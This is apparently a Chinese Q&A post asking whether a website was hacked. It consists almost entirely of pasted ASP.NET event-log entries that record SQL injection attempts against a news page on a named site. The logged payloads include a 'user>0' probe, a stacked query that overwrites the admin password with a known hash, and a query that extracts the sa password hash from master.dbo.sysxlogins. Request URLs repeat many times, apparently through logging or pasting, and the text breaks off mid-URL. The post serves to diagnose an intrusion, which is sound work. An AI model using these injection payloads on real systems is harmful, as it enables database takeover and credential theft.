大家看这代码，到底有没被入侵成功？2个技术员争得面红耳赤

Question

事件类型: 警告
事件来源: ASP.NET 2.0.50727.0
事件种类: Web 事件 
事件 ID: 1309
日期: 2012-4-1
事件: 11:11:19
用户: N/A
计算机: S014102248050
描述:
事件代码: 3005 
事件消息: 发生了未处理的异常。 
事件时间: 2012-4-1 11:11:19 
事件时间(UTC): 2012-4-1 3:11:19 
事件 ID: b2f9f9b039e847a58259954c244dd5fe 
事件序列: 50944 
事件匹配项: 1229 
事件详细信息代码: 0 
 
应用程序信息: 
    应用程序域: /LM/W3SVC/273175319/Root-1-129776664163281250 
    信任级别: Full 
    应用程序虚拟路径: / 
    应用程序路径: F:\inetpub\林新照\wwwroot\ 
    计算机名: S014102248050 
 
进程信息: 
    进程 ID: 3280 
    进程名: w3wp.exe 
    帐户名: S014102248050\iwam_38 
 
异常信息: 
    异常类型: SessionException 
    异常消息: Get List errorselect top 1 news_Title,news_AddTime,news_Count,News_Id,news_Content from Dcms_news where news_State='1' and news_Id=38 and user>0--  order by news_Id Desc  
 
请求信息: 
    请求 URL: http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38%20and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0--and%20user>0-- 
    请求路径: %21 
    用户主机地址: %22 
    用户: %23 
    是否已经过身份验证: %24 
    身份验证类型: %25 
    线程帐户名: %26 
 
线程信息: 
    线程 ID: %27 
    线程帐户名: %28 
    是否正在模拟: %29 
    堆栈跟踪: %30 
 
自定义事件详细信息: 
%14有关更多信息，请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。

Answer 1

事件类型: 警告
事件来源: ASP.NET 2.0.50727.0
事件种类: Web 事件 
事件 ID: 1309
日期: 2012-4-1
事件: 11:01:43
用户: N/A
计算机: S014102248050
描述:
事件代码: 3005 
事件消息: 发生了未处理的异常。 
事件时间: 2012-4-1 11:01:43 
事件时间(UTC): 2012-4-1 3:01:43 
事件 ID: 772eec23445244eab556c04b834e917b 
事件序列: 48652 
事件匹配项: 821 
事件详细信息代码: 0 
 
应用程序信息: 
    应用程序域: /LM/W3SVC/273175319/Root-1-129776664163281250 
    信任级别: Full 
    应用程序虚拟路径: / 
    应用程序路径: F:\inetpub\林新照\wwwroot\ 
    计算机名: S014102248050 
 
进程信息: 
    进程 ID: 3280 
    进程名: w3wp.exe 
    帐户名: S014102248050\iwam_38 
 
异常信息: 
    异常类型: SessionException 
    异常消息: Get List errorselect top 1 news_Title,news_AddTime,news_Count,News_Id,news_Content from Dcms_news where news_State='1' and news_Id=38update Dcms_Admin set Admin_Pwd=96e79218965eb72c92a549dd5a330112 where Admin_id=1  order by news_Id Desc  
 
请求信息: 
    请求 URL: http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;

Answer 2

updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;updatehttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;update%20Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1'Dcms_Admin%20set%20Admin_Pwd='96e79218965eb72c92a549dd5a330112'%20where%20Admin_id='1' 
    请求路径: %21 
    用户主机地址: %22 
    用户: %23 
    是否已经过身份验证: %24 
    身份验证类型: %25 
    线程帐户名: %26 
 
线程信息: 
    线程 ID: %27 
    线程帐户名: %28 
    是否正在模拟: %29 
    堆栈跟踪: %30 
 
自定义事件详细信息: 
%14有关更多信息，请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。

Answer 3

事件类型: 警告
事件来源: ASP.NET 2.0.50727.0
事件种类: Web 事件 
事件 ID: 1309
日期: 2012-4-1
事件: 8:57:30
用户: N/A
计算机: S014102248050
描述:
事件代码: 3005 
事件消息: 发生了未处理的异常。 
事件时间: 2012-4-1 8:57:30 
事件时间(UTC): 2012-4-1 0:57:30 
事件 ID: 10a468d2c7fb41adbf9965f5b5369315 
事件序列: 34572 
事件匹配项: 635 
事件详细信息代码: 0 
 
应用程序信息: 
    应用程序域: /LM/W3SVC/273175319/Root-1-129776664163281250 
    信任级别: Full 
    应用程序虚拟路径: / 
    应用程序路径: F:\inetpub\林新照\wwwroot\ 
    计算机名: S014102248050 
 
进程信息: 
    进程 ID: 3280 
    进程名: w3wp.exe 
    帐户名: S014102248050\iwam_38 
 
异常信息: 
    异常类型: SessionException 
    异常消息: Get List errorselect top 1 news_Title,news_AddTime,news_Count,News_Id,news_Content from Dcms_news where news_State='1' and news_Id=38create table WCRTEMP00003(tmp varchar(255))declare @b varbinary(256),@s varchar(256)select @b=password  from master.dbo.sysxlogins where name=0x73006100exec master..xp_varbintohexstr @b,@s outinsert into WCRTEMP00003 select @s--  order by news_Id Desc  
 
请求信息: 
    请求 URL: http://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID=14&NewsID=38;createhttp://www.china-hello.com/Aspx/CN/news_detail.aspx?CateID